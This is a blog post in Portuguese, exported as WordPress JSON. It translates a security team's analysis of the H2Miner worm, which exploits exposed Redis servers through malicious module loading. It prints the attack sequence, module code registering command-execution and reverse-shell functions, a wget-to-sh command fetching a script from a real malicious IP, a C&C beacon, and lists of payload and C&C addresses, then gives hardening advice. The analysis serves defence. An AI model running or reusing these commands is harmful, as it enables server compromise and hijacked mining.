{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<blockquote><p>Um dia atr\u00e1s, um dos servidores do meu projeto foi atacado por um verme semelhante. Em busca da resposta para a pergunta \"o que foi isso?\", encontrei um artigo incr\u00edvel da equipe de Seguran\u00e7a da Alibaba Cloud. Como n\u00e3o encontrei este artigo no Habr, decidi traduzi-lo especialmente para voc\u00ea &lt;3\n<\/p><\/blockquote>\n<h2>Introdu\u00e7\u00e3o<\/h2>\n<p>\nRecentemente, a equipe de seguran\u00e7a da Alibaba Cloud descobriu um surto repentino do H2Miner. Esse tipo de verme malicioso utiliza a falta de autoriza\u00e7\u00e3o ou senhas fracas para o Redis como portas de entrada para seus sistemas, ap\u00f3s o que sincroniza seu pr\u00f3prio m\u00f3dulo malicioso com o slave atrav\u00e9s da sincroniza\u00e7\u00e3o master-slave e, finalmente, carrega esse m\u00f3dulo malicioso na m\u00e1quina atacada e executa instru\u00e7\u00f5es maliciosas.<\/p>\n<p>No passado, os ataques aos seus sistemas eram principalmente realizados por m\u00e9todos que inclu\u00edam tarefas agendadas ou chaves SSH que eram gravadas em sua m\u00e1quina ap\u00f3s o invasor acessar o Redis. Felizmente, esse m\u00e9todo n\u00e3o pode ser frequentemente utilizado devido a problemas de controle de permiss\u00f5es ou devido a diferentes vers\u00f5es de sistema. No entanto, esse m\u00e9todo de carregar um m\u00f3dulo malicioso pode executar comandos do atacante diretamente ou acessar o shell, o que \u00e9 perigoso para o seu sistema.<\/p>\n<p>Devido ao grande n\u00famero de <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/pt\/server\/\"   title=\"servidores\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"1464\">servidores<\/a> Redis dispon\u00edveis na internet (quase 1 milh\u00e3o), a equipe de seguran\u00e7a da Alibaba Cloud, como um lembrete amig\u00e1vel, recomenda que os usu\u00e1rios n\u00e3o concedam acesso ao Redis pela rede e verifiquem regularmente a robustez de suas senhas, al\u00e9m de verificar se n\u00e3o est\u00e3o suscet\u00edveis a ataques de for\u00e7a bruta.<\/p>\n<h2>H2Miner<\/h2>\n<p>\nH2Miner \u00e9 um botnet de minera\u00e7\u00e3o para sistemas baseados em Linux, que pode invadir seu sistema de v\u00e1rias maneiras, incluindo falta de autoriza\u00e7\u00e3o no Hadoop yarn, Docker e vulnerabilidade de execu\u00e7\u00e3o remota de comando no Redis (RCE). O botnet opera fazendo o download de scripts maliciosos e malware para minerar seus dados, expandindo horizontalmente o ataque e mantendo comunica\u00e7\u00e3o de comando e controle (C&amp;C).<br \/>\n<noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Redis RCE<\/h2>\n<p>\nPavel Toporkov compartilhou conhecimentos sobre este assunto na ZeroNights 2018. Ap\u00f3s a vers\u00e3o 4.0, o Redis passou a suportar a fun\u00e7\u00e3o de carregar m\u00f3dulos externos, que oferece aos usu\u00e1rios a possibilidade de carregar arquivos .so, compilados em C, no Redis para executar comandos espec\u00edficos. Embora esta fun\u00e7\u00e3o seja \u00fatil, ela cont\u00e9m uma vulnerabilidade em que arquivos podem ser sincronizados com o slave no modo master-slave atrav\u00e9s do fullresync. Isso pode ser explorado por um invasor para transferir arquivos .so maliciosos. Ap\u00f3s a transfer\u00eancia, os criminosos carregam o m\u00f3dulo na inst\u00e2ncia Redis comprometida e executam qualquer comando.<\/p>\n<h2>An\u00e1lise do worm malicioso<\/h2>\n<p>\nRecentemente, a equipe de seguran\u00e7a da Alibaba Cloud descobriu que o n\u00famero de mineradores maliciosos H2Miner aumentou drasticamente. De acordo com a an\u00e1lise, o processo geral de ocorr\u00eancia do ataque \u00e9 o seguinte:<\/p>\n<p><img decoding=\"async\" alt=\"Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.\" src=\"\/wp-content\/uploads\/2020\/01\/e4e47a0ddb0bd9f8d97dd992f3349016.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nH2Miner utiliza RCE Redis para um ataque completo. Primeiro, os criminosos atacam servidores Redis desprotegidos ou servidores com senhas fracas.<\/p>\n<p>Em seguida, eles usam o comando <code>config set dbfilename red2.so<\/code> para alterar o nome do arquivo. Ap\u00f3s isso, os atacantes executam o comando <code>slaveof<\/code> para definir o endere\u00e7o do host de replica\u00e7\u00e3o master-slave. <\/p>\n<p>Quando a inst\u00e2ncia Redis comprometida estabelece uma conex\u00e3o master-slave com o Redis malicioso pertencente ao invasor, o atacante envia o m\u00f3dulo infectado usando o comando fullresync para sincronizar os arquivos. Ent\u00e3o, o arquivo red2.so ser\u00e1 carregado na m\u00e1quina comprometida. Depois, os invasores utilizam o m\u00f3dulo .\/red2.so para carregar este arquivo .so. O m\u00f3dulo pode executar comandos do invasor ou iniciar uma conex\u00e3o reversa (backdoor) para obter acesso \u00e0 m\u00e1quina comprometida.<\/p>\n<pre><code class=\"plaintext\">if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n<p>\nAp\u00f3s executar um comando malicioso, como <code>\/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh&gt; \/ dev \/ null 2&gt; &amp; 1<\/code>, o invasor ir\u00e1 apagar o nome do arquivo de backup e descarregar o m\u00f3dulo do sistema para eliminar vest\u00edgios. No entanto, o arquivo red2.so ainda estar\u00e1 presente na m\u00e1quina comprometida. Os usu\u00e1rios s\u00e3o recomendados a estarem atentos a esse arquivo suspeito na pasta de sua inst\u00e2ncia Redis.<\/p>\n<p>Al\u00e9m de eliminar alguns processos maliciosos para roubo de recursos, o invasor seguiu um roteiro malicioso, carregando e executando arquivos bin\u00e1rios para <noindex><a rel=\"nofollow\" href=\"http:\/\/142.44.191.122\/kinsing\">142.44.191.122\/kinsing<\/a><\/noindex>. Isso significa que o nome do processo ou o nome do diret\u00f3rio contendo kinsing no host pode indicar que essa m\u00e1quina foi infectada por este v\u00edrus.<\/p>\n<p>De acordo com os resultados da engenharia reversa, o malware executa principalmente as seguintes fun\u00e7\u00f5es:<\/p>\n<ul>\n<li>Carregamento e execu\u00e7\u00e3o de arquivos<\/li>\n<li>Minera\u00e7\u00e3o<\/li>\n<li>Manuten\u00e7\u00e3o da comunica\u00e7\u00e3o C&amp;C e execu\u00e7\u00e3o de comandos do atacante<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.\" src=\"\/wp-content\/uploads\/2020\/01\/43229670fd28e4b7f1974aa3c36dc3ca.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nUse masscan para escaneamento externo para expandir a influ\u00eancia. Al\u00e9m disso, o endere\u00e7o IP do servidor C&amp;C est\u00e1 rigidamente codificado no programa, e o host atacado interagir\u00e1 com o servidor de comunica\u00e7\u00e3o C&amp;C por meio de solicita\u00e7\u00f5es HTTP, onde as informa\u00e7\u00f5es do zumbi (servidor comprometido) s\u00e3o identificadas no cabe\u00e7alho HTTP.<\/p>\n<p><img decoding=\"async\" alt=\"Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.\" src=\"\/wp-content\/uploads\/2020\/01\/111ba916fa76f45fe458622f260b1d8e.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<pre><code class=\"plaintext\">GET \/h HTTP\/1.1\nHost: 91.215.169.111\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, como Gecko) Chrome\/78.0.3904.108 Safari\/537.36\nArch: amd64\nCores: 2\nMem: 3944\nOs: linux\nOsname: debian\nOsversion: 10.0\nRoot: false\nS: k\nUuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx\nVersion: 26\nAccept-Encoding: gzip\n<\/code><\/pre>\n<p><\/p>\n<h2>Outros m\u00e9todos de ataque<\/h2>\n<p>\n<img decoding=\"async\" alt=\"Uma nova onda de vermes H2Miner explorando Redis RCE foi descoberta.\" src=\"\/wp-content\/uploads\/2020\/01\/51c088251ac8fd71d229bfe96e239c29.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Endere\u00e7os e links utilizados pelo worm<\/h2>\n<p>\n\/kinsing<\/p>\n<pre><code class=\"plaintext\">\u2022 142.44.191.122\/t.sh\n\u2022 185.92.74.42\/h.sh\n\u2022 142.44.191.122\/spr.sh\n\u2022 142.44.191.122\/spre.sh\n\u2022 195.3.146.118\/unk.sh\n<\/code><\/pre>\n<p>\nc&amp;c<\/p>\n<pre><code class=\"plaintext\">\u2022 45.10.88.102\n\u2022 91.215.169.111\n\u2022 139.99.50.255\n\u2022 46.243.253.167\n\u2022 195.123.220.193\n<\/code><\/pre>\n<p><\/p>\n<h2>Conselho<\/h2>\n<p>\nPrimeiro, o Redis n\u00e3o deve estar acess\u00edvel a partir da Internet e deve ser protegido por uma senha forte. Al\u00e9m disso, \u00e9 importante que os clientes verifiquem a aus\u00eancia do arquivo red2.so no diret\u00f3rio do Redis e a aus\u00eancia de \"kinsing\" no nome do arquivo \/ processo no host.<br \/>\n<br \/>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/post\/485300\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0414\u0435\u043d\u044c \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0431\u044b\u043b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u0447\u0435\u0440\u0432\u0435\u043c. \u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0435?\u00bb \u044f \u043d\u0430\u0448\u0435\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b Alibaba Cloud Security. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044f \u043d\u0435 \u043d\u0430\u0448\u0435\u043b \u044d\u0442\u043e\u0442 \u0441\u0442\u0430\u0442\u044c\u0438 \u043d\u0430 \u0445\u0430\u0431\u0440\u0435, \u0442\u043e \u0440\u0435\u0448\u0438\u043b \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0435\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0432\u0430\u0441 &lt;3 \u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435 \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Alibaba Cloud \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u0443\u044e \u0432\u0441\u043f\u044b\u0448\u043a\u0443 H2Miner. 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